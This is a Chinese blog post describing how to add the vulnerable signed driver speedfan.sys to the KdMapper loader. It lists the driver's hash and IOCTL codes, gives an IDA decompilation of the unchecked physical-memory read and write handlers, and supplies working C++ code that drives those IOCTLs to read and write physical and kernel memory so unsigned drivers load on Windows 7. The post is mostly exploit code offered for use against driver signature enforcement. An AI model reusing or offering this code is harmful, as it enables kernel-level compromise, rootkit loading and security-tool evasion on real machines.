KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
| 驱动名称 | speedfan.sys |
| 时间戳 | 50DF59B7 |
| MD5 | 0FFE35F0B0CD5A324BBE22F02569AE3B |
| 文件版本 | 2.3.11.0 |
| 设备名称 | \\.\SpeedFan |
| 读物理内存 | 0x9C402428 |
| 写物理内存 | 0x9C40242C |
| Windows 7 | 支持 |
| Windows 10 | 不支持 |
| Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{unsigned __int64 v2; // raxv2 = BugCheckParameter2;if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64){v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;if (!v2)v2 = 0x2B992DDFA232i64;BugCheckParameter2 = v2;}BugCheckParameter3 = ~v2;return CreateDevice(DriverObject, RegistryPath);
}
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{NTSTATUS result; // eax_UNICODE_STRING* v5; // rdisize_t v6; // rax__int64 v7; // r8NTSTATUS v8; // eaxNTSTATUS v9; // edi__int64 v10; // [rsp+20h] [rbp-38h]struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREFPDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREFRtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);if (result >= 0){DeviceObject->Flags |= 4u;v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;*(_DWORD*)&v5[2].Length = 0;*(_DWORD*)(&v5[2].MaximumLength + 1) = 0;LODWORD(v5[2].Buffer) = 0;v5[1].MaximumLength = RegistryPath->MaximumLength;v6 = RegistryPath->Length;v5[1].Buffer = &v5[7].Length;v5[1].Length = v6;memmove(&v5[7], RegistryPath->Buffer, v6);sub_175B4(v5);if ((int)sub_176C8(v5) >= 0){v7 = *(unsigned int*)&v5[2].Length;if (_bittest((const int*)&v7, 0x1Du)){LODWORD(v10) = v5[2].Buffer;DbgPrint("SpeedFan %s Built Dec 29 2012 21:59:34 Debug %08X Break %08X Setup %08X\n",aX20311,v7,*(unsigned int*)(&v5[2].MaximumLength + 1),v10);}}v8 = IoCreateSymbolicLink(v5, &DestinationString);v9 = v8;if (v8 >= 0 || v8 == 0xC0000035){DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;result = 0;}else{IoDeleteDevice(DeviceObject);result = v9;}}return result;
}
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{_IO_STACK_LOCATION* pIosp; // raxint ntStatus; // ebxPHYSICAL_ADDRESS* pMemoryInfo; // rdiunsigned int nInputBufferLength; // er12SIZE_T nOutputBufferLength; // r13unsigned int nIoControlCode; // esiLONGLONG PhysicalAddressV31; // rbxPVOID pMappedIoSpaceV32; // raxvoid* pMappedIoSpaceV33; // r14LONGLONG PhysicalAddressV34; // rbxPVOID pMappedIoSpaceV35; // raxvoid* pMappedIoSpaceV36; // r14void* Dst; // [rsp+20h] [rbp-D8h]LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]void* PhysicalAddress; // [rsp+100h] [rbp+8h]IRP* Irp; // [rsp+108h] [rbp+10h]Irp = pIrp;pIosp = pIrp->Tail.Overlay.CurrentStackLocation;pIrp->IoStatus.Information = 0i64;ntStatus = 0xC0000023;pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;......switch (nIoControlCode){case 0x9C402428:if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存{PhysicalAddressV34 = pMemoryInfo->QuadPart;PhysicalAddressV53 = pMemoryInfo->QuadPart;pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);pMappedIoSpaceV36 = pMappedIoSpaceV35;*(_QWORD*)MajorVersion = pMappedIoSpaceV35;if (pMappedIoSpaceV35){if (_bittest(v55, 0xEu)){LODWORD(v47) = nOutputBufferLength;DbgPrint("IOCTL_PHYMEM_READ ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV53),(unsigned int)PhysicalAddressV34,pMappedIoSpaceV35,v47);}memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);Irp->IoStatus.Information = nOutputBufferLength;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;case 0x9C40242C:if (nInputBufferLength > 8) // 写物理内存{PhysicalAddressV31 = pMemoryInfo->QuadPart;PhysicalAddressV52 = pMemoryInfo->QuadPart;nInputBufferLength -= 8;pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);pMappedIoSpaceV33 = pMappedIoSpaceV32;*(_QWORD*)MajorVersion = pMappedIoSpaceV32;if (pMappedIoSpaceV32){if (_bittest(v55, 0xEu)){LODWORD(v47) = nInputBufferLength;DbgPrint("IOCTL_PHYMEM_WRITE ofo %p pad %08X_%08X vad %p siz %06X\n",v51,HIDWORD(PhysicalAddressV52),(unsigned int)PhysicalAddressV31,pMappedIoSpaceV32,v47);}memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);Irp->IoStatus.Information = 0i64;ntStatus = 0;v59 = 0;MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);}else{ntStatus = 0xC0000088;}}goto LABEL_145;LABEL_145:if (ntStatus >= 0)goto LABEL_149;v5 = v51;goto LABEL_147;}......LABEL_149:Irp->IoStatus.Status = ntStatus;IofCompleteRequest(Irp, 0);return (unsigned int)ntStatus;
}
其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。
3.4 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif#define SPEEDFAN_DEVICE_TYPE (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY \CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C
4.2 .c文件
NTSTATUS sokno_driver::SuperCallDriverEx(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength,_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,NULL,NULL,NULL,&ioStatus,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if (ntStatus == STATUS_PENDING) {ntStatus = NtWaitForSingleObject(DeviceHandle,FALSE,NULL);}if (IoStatus)*IoStatus = ioStatus;return ntStatus;
}BOOL sokno_driver::SuperCallDriver(_In_ HANDLE DeviceHandle,_In_ ULONG IoControlCode,_In_ PVOID InputBuffer,_In_ ULONG InputBufferLength,_In_opt_ PVOID OutputBuffer,_In_opt_ ULONG OutputBufferLength)
{BOOL bResult;IO_STATUS_BLOCK ioStatus;NTSTATUS ntStatus = SuperCallDriverEx(DeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength,&ioStatus);bResult = NT_SUCCESS(ntStatus);SetLastError(RtlNtStatusToDosError(ntStatus));return bResult;
}BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes,_In_ BOOLEAN DoWrite)
{BOOL bResult = FALSE;DWORD dwError = ERROR_SUCCESS;__try {if (DoWrite) {PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);if (pWriteInfo){pWriteInfo->QuadPart = PhysicalAddress;RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);if (!bResult){Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");}}else{Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");}}else {PHYSICAL_ADDRESS address;address.QuadPart = PhysicalAddress;bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);if (!bResult){Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");}}}__except (EXCEPTION_EXECUTE_HANDLER) {bResult = FALSE;dwError = GetExceptionCode();Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);}SetLastError(dwError);return bResult;
}BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_ PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,FALSE);
}BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR PhysicalAddress,_In_reads_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{return SuperReadWritePhysicalMemory(DeviceHandle,PhysicalAddress,Buffer,NumberOfBytes,TRUE);
}BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,TRUE);}return bResult;
}BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(_In_ HANDLE DeviceHandle,_In_ ULONG_PTR Address,_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,_In_ ULONG NumberOfBytes)
{BOOL bResult;ULONG_PTR physicalAddress = 0;SetLastError(ERROR_SUCCESS);bResult = SuperVirtualToPhysical(DeviceHandle,Address,&physicalAddress);if (bResult) {bResult = SuperReadWritePhysicalMemory(DeviceHandle,physicalAddress,Buffer,NumberOfBytes,FALSE);}return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

6.特别提示
使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。
相关文章:
KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)
1.背景 KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。 2.驱动信息 驱动名称spee…...
MATLAB算法实战应用案例精讲-【图像处理】计算机视觉
目录 前言 几个高频面试题目 计算机视觉与图像处理、模式识别、机器学习学科之间的关系 计算机视觉和机器人视觉区别与联系...
docker应用的缓存 docker缓存机制
Docker镜像用作Docker执行程序中的主映像。它们是容器的蓝图,提供了有关如何生成容器的说明。在本文中,我将介绍一些经常被忽视的概念,这些概念将有助于优化Docker镜像开发和构建过程。 让我们从Docker构建过程的简短描述开始。这是通过使用…...
借助 ZooKeeper 生成唯一 UUID
ZooKeeper是一个分布式协调服务,它主要用于在分布式系统中管理和协调各种资源。它本身并不提供生成唯一UUID的功能,但你可以借助ZooKeeper来实现生成唯一UUID的机制。 下面是一种基于ZooKeeper的方法来生成唯一UUID的示例: 在ZooKeeper中创建…...
Redis哨兵机制原理
Redis哨兵机制可以保证Redis服务的高可用性。它通过启动一个或多个哨兵进程,监控Redis主服务器是否宕机,如果宕机,哨兵进程会自动将一个从服务器(Slave)升级为主服务器(Master),并通…...
Maven Web应用
目录 创建 Web 应用 构建 Web 应用 部署 Web 应用 测试 Web 应用 本章节我们将学习如何使用版本控制系统 Maven 来管理一个基于 web 的项目,如何创建、构建、部署以及运行一个 web 应用。 创建 Web 应用 我们可以使用 maven-archetype-webapp 插件来创建一个简…...
考古:MFC界面的自适应缩放(代码示例)
MFC窗体的控件的自适应缩放早期VS开发环境是不支持的,后来VS开发环境提供了支持但也简单,或者固定的缩放比例不符合要求。我一向坚持一个理念:“不支持缩放的窗口不是好窗口”,所以需要有一个自定义的缩放处理。机制不复杂&#x…...
计算机网络 | 物理层
计算机网络 | 物理层 计算机网络 | 物理层基本概念数据通信基本知识(一)一个数据通信流程的例子数据通信相关术语三种通信方式数据传输方式串行传输和并行传输同步传输和异步传输 小结 数据通信基本知识(二)码元(Symbo…...
Centos下编译ffmpeg动态库
文章目录 一、下载ffmpeg安装包二、编译ffmpeg三、安装yasm 一、下载ffmpeg安装包 下载包 wget http://www.ffmpeg.org/releases/ffmpeg-4.4.tar.gz解压 tar -zxvf ffmpeg-4.4.tar.gz二、编译ffmpeg 进入解压的目录 cd ffmpeg-4.4编译动态库 ./configure --enable-shared…...
深度学习:UserWarning: The parameter ‘pretrained‘ is deprecated since 0.13..解决办法
深度学习:UserWarning: The parameter ‘pretrained’ is deprecated since 0.13 and may be removed in the future, please use ‘weights’ instead. 解决办法 1 报错警告: pytorch版本:0.14.1 在利用pytorch中的预训练模型时࿰…...
leetcode-279. 完全平方数
1. 题目链接 链接: 题目链接 2. 解答 #include <stdio.h> #include <stdlib.h> #include <stdbool.h>bool issquare(int n) {if (n 1 || n 4) return true;if (n 2 || n 3) return false;for (int i 3; i < n/2; i ) {if (n i*i) return true;}…...
MySQL常用指令
创建新的数据库 1、创建新的数据库 create database YOLO;显示本地创建的数据库 2、显示本地创建的数据库 show databases;进入新创建的数据库 3、进入新创建的数据库 use YOLO;在新创建的数据库内添加表(表内插入内容) 4、创建表并添加表内容 creat…...
Pulsar 之架构,客户端以及多区域容灾
Pulsar 之架构,客户端以及多区域容灾 架构BrokersClusters元数据存储配置存储区持久存储Apache BookKeeperLedgersLedgers读一致性托管Ledgers 日志存储 Pulsar 代理服务发现 Pulsar client(客户端)客户端设置阶段Reader interface 多区域容灾备份(GEO-REPLICATION)…...
【SQL】MySQL中的索引,索引优化
索引是存储引擎用来快速查询记录的一种数据结构,按实现方式主要分为Hash索引和B树索引。 按功能划分,主要有以下几类 单列索引指的是对某一列单独建立索引,一张表中可以有多个单列索引 1. 单列索引 - 普通索引 创建索引(关键字i…...
uniapp 跳转到指定位置
this.$router.push({name: Demo,params: {id: 123} })这样就实现了页面的跳转,并且将参数id传递给了Demo组件。 如果需要跳转到当前页面的不同位置,我们可以使用锚点来实现。锚点是一个HTML元素的标识符,可以用于定位和跳转到该元素。例如&a…...
基于java的图书馆预约座位系统的设计与实现(部署+源码+LW)
项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于java的图书馆预约座…...
golang 拉取 bitbucket.org 私有库
以 bitbucket.org 平台和mac电脑为例 前置条件私库需要给你账号权限,可拉取的权限,否则无法进行正常拉取 我们采用ssh方式,需要在本地生成对应的 rsa 的公钥和私钥,将公钥配置如下图: 在 .ssh/config 写入你的配置 H…...
Sub-1G射频收发器soc芯片 UM2080F32 低功耗 32 位 IoTP
UM2080F32是基于 ARM Cortex M0 内核的超低功耗、高性能的、单片集成 (G)FSK/OOK 无线收发机的 32 位SOC 芯片。 UM2080F32 工作于200MHz~960MHz 范围内,支持灵活可设的数据包格式,支持自动应答和自动重发功能,支持跳频操作,支持 …...
国际减灾日 | 智慧减灾——百分点科技的数据科学视角
国际减轻自然灾害日简称“国际减灾日”,由联合国于1989年设立,旨在关注全球灾害风险,呼吁各国政府、组织和个人积极参与减灾工作,以保护人民生命财产安全。今年10月13日是第34个国际减灾日,主题为“共同打造有韧性的未…...
ChatGLM流式输出的报错修复
ChatGLM中的openai_api.py中的代码如下: # codingutf-8 # Implements API for ChatGLM2-6B in OpenAIs format. (https://platform.openai.com/docs/api-reference/chat) # Usage: python openai_api.py # Visit http://localhost:8000/docs for documents.import …...
MySQL-进阶篇-锁
温馨提示:建议在PC端浏览~锁概述介绍 锁是计算机协调多个进程或线程并发访问某一资源的机制。在数据库中,除传统的计算资源(CPU、RAM、I/O)的争用以外,数据也是一种供许多用户共享的资源。如何保证数据并发访问的一致性…...
CodeGPT高级代理系统:10个实用工具助你高效编程的完整指南
CodeGPT高级代理系统:10个实用工具助你高效编程的完整指南 【免费下载链接】CodeGPT The leading open-source AI copilot for JetBrains. Connect to any model in any environment, and customize your coding experience in any way you like. 项目地址: https…...
A型流感病毒广谱中和抗体与广谱通用疫苗研究进展
摘要流感作为全球性的公共卫生问题,对人类健康构成严重威胁。接种流感疫苗是预防和控制流感流行的关键手段,但当前通用流感疫苗的研究尚处于初级阶段。本文聚焦于A型流感病毒,综述了广谱中和抗体的研究进展以及其在广谱通用疫苗研发中的潜在应…...
YOLO11优化:CVPR2026 UCMNet |FrequencyCM赋能YOLO C3k2:从频域增强视角解决感受野与细节瓶颈
💡💡💡现有YOLO C3k2的问题点: 感受野受限:堆叠小核卷积(如33)难以捕获全局上下文,对尺度变化大、小目标或遮挡目标特征提取不足。 频域信息缺失:仅依赖空间域卷积,无法有效利用傅里叶域的高频细节,导致低对比度、模糊区域重建能力弱。 特征交互低效:通道间信…...
【人工智能核心技术详解】7 深度神经网络正则化技术体系_贝叶斯视角下的统一理论
深度神经网络正则化技术体系:贝叶斯视角下的统一理论手册 文章架构总览 #mermaid-svg-lhtjBcaOxIDdpUDM{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes …...
RK3568扩展模块实战:4G/Wi-Fi 6/多串口集成与Linux驱动适配
1. 项目概述:当“小”模块遇上“大”平台最近在折腾一块瑞芯微的RK3568开发板,这板子性能不错,四核A55加上独立的NPU,做边缘计算、多媒体网关或者轻量级服务器都挺合适。但在实际项目落地时,我遇到了一个几乎所有硬件开…...
agent 学习路径解析 学习资源分享
文章目录 先给结论:你接下来不要优先读 GLM-4.5你对 agent 的轻视,有一半对,一半错关于 Claude Code 泄露:你应该学“架构收获”,不要沉迷“源码猎奇”你提到的 learn-claude-code 仓库:值得看,…...
鸿蒙心理测评模块实战|PHQ-9/GAD7双量表答题、实时计分与结果本地化存储
一、前言 心晴驿站已正式稳定上架华为应用市场,所有专栏内容均基于线上真实版本复盘产出,所有逻辑、代码、优化方案均通过真机测试、性能校验、隐私合规审核,具备完整落地与参赛复用价值。 在前八篇专栏中,我们完成了项目整体架构…...
ROS Melodic下用Mapviz+天地图API显示GPS轨迹(保姆级避坑指南)
ROS Melodic下Mapviz与天地图API的高精度GPS轨迹可视化实战 在机器人定位与导航开发中,将GPS轨迹叠加到卫星地图上是验证算法效果的基础需求。对于国内开发者而言,直接使用Google Maps等国际服务常面临访问限制和偏移问题。本文将深入讲解如何在ROS Mel…...
2026年国产数据库大盘点与趋势:自主可控时代的数据库生态
一、2026年国产数据库市场概况 1. 市场发展现状 2026年国产数据库市场呈现稳步增长态势。在信创政策深化、数据安全法规完善的大背景下,数据库作为核心基础软件,其国产化进程持续推进。 2026年主要厂商市场表现: 金仓KES:在政务领…...
